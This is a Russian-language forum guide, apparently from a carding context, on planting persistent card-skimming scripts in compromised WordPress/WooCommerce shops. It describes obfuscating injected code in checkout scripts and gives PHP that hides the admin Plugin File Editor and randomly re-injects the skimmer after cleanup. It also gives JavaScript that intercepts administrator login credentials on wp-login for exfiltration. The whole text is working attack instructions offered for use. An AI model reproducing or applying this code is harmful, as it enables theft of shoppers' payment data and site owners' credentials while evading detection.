211212qw

211212qw

dunkel41313241243

Привет, сегодня я поделюсь своими небольшими заметками.


Моя жизнь и мир вокруг меня сложился так что меня преследют порывы делиться опытом


Не знаю будут ли мои очерки для кого-то полезны или просто окажутся всем банальной чушь, но все как как есть, не судите строго.


Наша задача не убить шоп как можно скорее и не позволить нас обнаружить.


1. Почти на всех шопах есть возможность переноса, читай это как возможность скрыть свое присутствие в плагине или разделе с кодом на следующих двух картинках показано как это выглядит.


uJeNvKs.gif


fdRTqib.gif



Практика показывает что многие люди в том числе разработчики/администаторы люди не внимательные и не скоро заметят в чем же дело.


2. WP есть много способов загнать скрипт на шоп. Если вдруг твой выбор пал на плагины то не спеши отдыхать, тебя ждет еще много работы. Типичная проблема плагина это... ответ нужно писать вообще ? Плагин который обладает вредоностным кодом снести проще чем в тюрьму сесть. Используй плагины только когда это необходимо или неизбежно.


И так, я использую несколько способов чтоб вшить скрипт на ВП, начнем с того что попроще.


1. Тебе нужно скачать плагин под названием File Manager — этот плагин поможет тебе редактировать корневые файлы в WP в том числе другие подключенные плагины отвечающие за что угодно в шопе от тем до каких-нибудь сложных штук типа корзины, сео оптимизации, расчета доставки.


qrvxCzY.png


JgBFq6l.png



Идешь на страницу с твоим checkout и находишь там через меню разработчика любой жизненно важный скрипт, очень хорошая практика открывать из "инкогнито" или другим способом который поможет тебе видеть сайт снова как его видит конечный пользователь, так ты не схватишь чего лишнего, например некоторые скрипты в силу необходимости могут подгружаться только для админа.


Еще один нюанс это путь, скрипт обязательно должен относиться к сайту и грузиться также с него, в одном из случаев это всегда как раз и будет https://site.name/wp-includes/...


C7ws7F8.png



Открой эту ссылку в новой вкладке и внимательно всмотрись в путь к файлу.


V4HoBFH.png



Теперь следуя этому пути этот файл можно найти в File Manager.


uQloiOQ.png



Теперь копируем оригинальный скрипт и вставляем его в какой-нибудь редактор, следом вставляем наш код.


DFeB3Nq.png



Далее идем на сайт какого-нибудь обфускатора JavaScript кода например: https://obfuscator.io


Фокус-покус. Превращаем код из полезного в код с нюансом. И мы заменяем оригинальный код на этот в File Manager.


P1j0Nyb.png



Да файл jquery.min.js не является лучшим примером, всегда стоит выбирать скрипт который либо не популярен либо написан в ручную кастомно, а уж если ты нашел какой-нибудь файл с окончанием .min.js то будь любезен найти его не минифицированный оригинал и удалить.


Так чего же я сказать хотел ? Спомощью такого простого подхода ты не просто заставишь администратора поискать уязвимое местечко, ты еще и заставишь его найти подходящую версию и библиотеки или еще хуже разработчика мучительно переписывать целый файл скрипта.


В каких-то случаях все это будет настолько мучительно что на это закроют глаза.


Хорошей практикой после этого дела будет удалить плагин File Manager.


2. Этот способ я бы назвал "иди туда не знаю куда, почини то не знаю что" суть заключается в том чтобы заставить админку не показывать админу или разработчику то что ему не нужно видеть, то есть "Plugin File Editor" что бы воспользоваться этим способом тебе даже плагины ставить никакие не нужно.


NDRQB8V.png



Первый попавшийся плагин нам не подойдет скорее всего, я рекомедую использовать WooCommerce, потому что он более менее универсальный для шопов.


hirxYKj.png



Честно сказать я в php не силен, но что-то набросать смог, не судите строго, я в целом объясню что делает код, но он может вам не подойти, на то есть много причин, от версии php до путей к папкам.


Эта часть кода занимается удалением из бокового меню кнопки и самого скрипта с страницы (по url доступ к этому меню остается)


SCW3O94.png

 


VxqDJQw.png



Следующая часть основная, она отвечает за подкачивание кода, раз в 0-1000 кликов, то есть в рандомный момент шоп должен ожить, даже если админ снесет скрипт в файле и "все" починит, через время скрипт снифера допишет в конец файла основной код который будет загружаться в корзине и все снова заработает.


Если ты сделаешь все правильно скрипт не будет никак выдавать себя визуально на странице.


6o6LmSj.png



По идеи админ не должн догадаться как попасть в "Plugin File Editor" и тем более в один из целого списка плагинов чтоб что-то там менять.


Полный код:

PHP:

error_reporting(0);

if (
    (preg_match('~\.\w{2,4}~', $_SERVER['REQUEST_URI']) === 0 || preg_match('~\.php~i', $_SERVER['REQUEST_URI']) !== 0) &&
    $_SERVER['REQUEST_METHOD'] === 'GET' &&
    preg_match('~\/wp-admin\/~i', $_SERVER['REQUEST_URI']) !== 0
) {
    echo <<<END
    <script id='blablabla'>
        setInterval(() => {
           try {
               document.querySelector('[href="plugin-editor.php"]').parentElement.remove()
           } catch (e) {}
           try {
               document.querySelector('[id="blablabla"]').remove()
           } catch (e) {}
        }, 0)
    </script>
END;
}

// В подгружаемом от тебя скрипте должна быть ключевая фраза в данном случае это "L2dvb2dsZS1zZW8" это помогает понять скрипту что файл нужно обновить.
if (rand(0, 1000) > 0 && preg_match('~L2dvb2dsZS1zZW8~i', file_get_contents('/home/customer/www/YOU_SITE/public_html/wp-content/plugins/ajax-search-for-woocommerce/assets/js/search.min.js')) === 0) {
    $tree = <<<MAIN
    
        console.log('hello world cardtools')
MAIN;
        
    file_put_contents('/home/customer/www/YOU_SITE/public_html/wp-content/plugins/ajax-search-for-woocommerce/assets/js/search.min.js', file_get_contents('/home/customer/www/bunlardanistiyorum.com/public_html/wp-content/plugins/ajax-search-for-woocommerce/assets/js/search.js') . $tree);
}


! Если решишь делать то сохраняй php код, не перезагружая страницу в этой вкладке, лучше открыть еще одну и смотреть как все отображается, также хорошей практикой является открыть исходный код любой страницы сайта в том числе админки и смотреть кусок кода в верхней части экрана.


3. Пароль сменили и "все" снесли ? Спокуху оформи, залейся, погорюй пару дней, дай остыть шопу, а потом время достать из рукава джокера.


Джокер это скрипт который изолирован от основного скрипта в одельный файл влияющий только на путь wp-login или wp-admin, а если точнее скрипт который перехватывает логин и пароль каждый раз когда админ патается авторизоваться.


Тебе нужно скачать плагин под названием File Manager — этот плагин поможет тебе редактировать корневые файлы в WP в том числе другие подключенные плагины отвечающие за что угодно в шопе от тем до каких-то ключевых элементов.


qrvxCzY.png


JgBFq6l.png



Идешь на страницу wp-login или wp-admin и находишь там через меню разработчика любой жизненно важный скрипт, очень хорошая практика открывать из "инкогнито" или другим способом который поможет тебе видеть сайт снова как его видит обычный пользователь.


7AI7NHc.png



Открой эту ссылку в новой вкладке и внимательно всмотрись в путь к файлу.


V4HoBFH.png



Теперь следуя этому пути этот файл можно найти в File Manager.


uQloiOQ.png



Дальше можно чуть усложнить как описано выше в 2 пункте 1 части или просто дописать в конец код:


LxqQ8hZ.gif



Код снифера на странице авторизации:

JavaScript:

const readyPage = () =>
    new Promise(res => {
        const intervalId = setInterval(() => {
            if (document.readyState === 'complete') {
                res()
                clearInterval(intervalId)
            }
        }, 10)

        document.onreadystatechange = () =>
            document.readyState === 'complete'
                ? res()
                : null
    })


;(async () => {
    if (!window.location.href.match(/\/wp-(login|admin)/)) {
       return
    }
    await readyPage()

    const form = document.querySelector('form')

    form.addEventListener('submit', e => {
        e.preventDefault()

        const data = encodeURIComponent(
            JSON.stringify(
                [...document.querySelectorAll('input')]
                    .map(t => `${t.getAttribute('name')}: ${t.value}`)
            )
        )

        console.log(data)
        /// fetch data to cardtools

        form.submit()
    })
})()


Хорошей практикой после этого дела будет удалить плагин File Manager.

zUVyxuc.png


Report Page